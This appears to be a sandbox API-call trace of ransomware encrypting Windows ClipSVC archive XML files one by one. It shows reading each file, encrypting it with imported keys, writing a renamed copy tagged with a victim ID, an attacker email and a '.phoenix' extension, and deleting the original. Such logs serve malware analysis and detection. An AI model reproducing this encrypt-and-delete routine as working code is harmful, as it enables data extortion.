	[0246.209] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xcb0, lpOverlapped=0x0) returned 1
	[0246.215] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1512c0) returned 1
	[0246.215] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.215] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0246.215] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0246.215] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0246.215] CryptDestroyKey (hKey=0x151600) returned 1
	[0246.215] CloseHandle (hObject=0x2c8) returned 1
	[0246.215] CloseHandle (hObject=0x2b0) returned 1
	[0246.215] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\a7e08b8b-ad4b-af00-ebcc-1aa29a833ce9.xml")) returned 1
	[0246.217] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0246.217] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0246.217] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3185) returned 1
	[0246.217] CloseHandle (hObject=0x2b0) returned 1
	[0246.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml")) returned 0x20
	[0246.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.217] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0246.218] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.218] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.218] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0246.218] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0246.218] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.218] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xc71, lpOverlapped=0x0) returned 1
	[0246.725] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80, dwBufLen=0xc80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xc80) returned 1
	[0246.725] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xc80, lpOverlapped=0x0) returned 1
	[0246.726] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151700) returned 1
	[0246.726] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.726] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0246.726] CryptDestroyKey (hKey=0x151700) returned 1
	[0246.726] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0246.726] CryptDestroyKey (hKey=0x151600) returned 1
	[0246.726] CloseHandle (hObject=0x2b0) returned 1
	[0246.727] CloseHandle (hObject=0x2c8) returned 1
	[0246.727] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\aa4e72b1-ad78-3f2c-e8ff-4733b8cdd4ac.xml")) returned 1
	[0246.728] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0246.728] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0246.728] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2619) returned 1
	[0246.728] CloseHandle (hObject=0x2c8) returned 1
	[0246.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml")) returned 0x20
	[0246.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.729] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0246.729] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.729] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.729] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0246.729] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1513c0) returned 1
	[0246.729] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.729] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa3b, lpOverlapped=0x0) returned 1
	[0246.840] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa40, dwBufLen=0xa40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa40) returned 1
	[0246.840] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa40, lpOverlapped=0x0) returned 1
	[0246.841] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151600) returned 1
	[0246.841] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.841] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0246.841] CryptDestroyKey (hKey=0x151600) returned 1
	[0246.841] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0246.841] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0246.841] CloseHandle (hObject=0x2c8) returned 1
	[0246.841] CloseHandle (hObject=0x2b0) returned 1
	[0246.842] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\b34b197c-c0ed-bf12-c9bb-44e883c66a9d.xml")) returned 1
	[0246.842] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0246.842] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0246.843] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=3538) returned 1
	[0246.843] CloseHandle (hObject=0x2b0) returned 1
	[0246.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml")) returned 0x20
	[0246.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.843] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0246.844] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.844] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.844] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0246.844] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1514c0) returned 1
	[0246.844] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.844] ReadFile (in: hFile=0x2b0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xdd2, lpOverlapped=0x0) returned 1
	[0246.926] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xde0, dwBufLen=0xde0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xde0) returned 1
	[0246.926] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xde0, lpOverlapped=0x0) returned 1
	[0246.928] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1512c0) returned 1
	[0246.928] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.928] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0246.928] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0246.928] WriteFile (in: hFile=0x2c8, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0246.928] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0246.929] CloseHandle (hObject=0x2b0) returned 1
	[0246.929] CloseHandle (hObject=0x2c8) returned 1
	[0246.929] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bbc7a1c3-44c6-27b6-1e16-487a47263f3e.xml")) returned 1
	[0246.930] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0246.930] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0246.930] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=2625) returned 1
	[0246.930] CloseHandle (hObject=0x2c8) returned 1
	[0246.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml")) returned 0x20
	[0246.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0246.930] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0246.931] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.931] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0246.931] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0246.931] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151600) returned 1
	[0246.931] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.931] ReadFile (in: hFile=0x2c8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xa41, lpOverlapped=0x0) returned 1
	[0246.961] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50, dwBufLen=0xa50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xa50) returned 1
	[0246.961] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xa50, lpOverlapped=0x0) returned 1
	[0246.962] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1514c0) returned 1
	[0246.963] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0246.963] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80, dwBufLen=0x80 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x80) returned 1
	[0246.963] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0246.963] WriteFile (in: hFile=0x2b0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x132, lpOverlapped=0x0) returned 1
	[0246.963] CryptDestroyKey (hKey=0x151600) returned 1
	[0246.963] CloseHandle (hObject=0x2c8) returned 1
	[0246.963] CloseHandle (hObject=0x2b0) returned 1
	[0246.963] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\bbfbe8ad-1a35-a7f3-33bc-40912bf89dfb.xml")) returned 1
	[0246.964] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0246.964] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\be7366a7-9d6c-ef6d-2f6b-fe59a23f007c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\be7366a7-9d6c-ef6d-2f6b-fe59a23f007c.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.019] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=6823) returned 1
	[0247.019] CloseHandle (hObject=0x2b4) returned 1
	[0247.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\be7366a7-9d6c-ef6d-2f6b-fe59a23f007c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\be7366a7-9d6c-ef6d-2f6b-fe59a23f007c.xml")) returned 0x20
	[0247.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\be7366a7-9d6c-ef6d-2f6b-fe59a23f007c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\be7366a7-9d6c-ef6d-2f6b-fe59a23f007c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.019] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\be7366a7-9d6c-ef6d-2f6b-fe59a23f007c.xml" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\be7366a7-9d6c-ef6d-2f6b-fe59a23f007c.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.019] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.019] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0247.020] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\ClipSVC\\Archive\\Apps\\be7366a7-9d6c-ef6d-2f6b-fe59a23f007c.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\clipsvc\\archive\\apps\\be7366a7-9d6c-ef6d-2f6b-fe59a23f007c.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.021] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151100) returned 1
	[0247.021] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0247.021] ReadFile (in: hFile=0x2b4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1aa7, lpOverlapped=0x0) returned 1
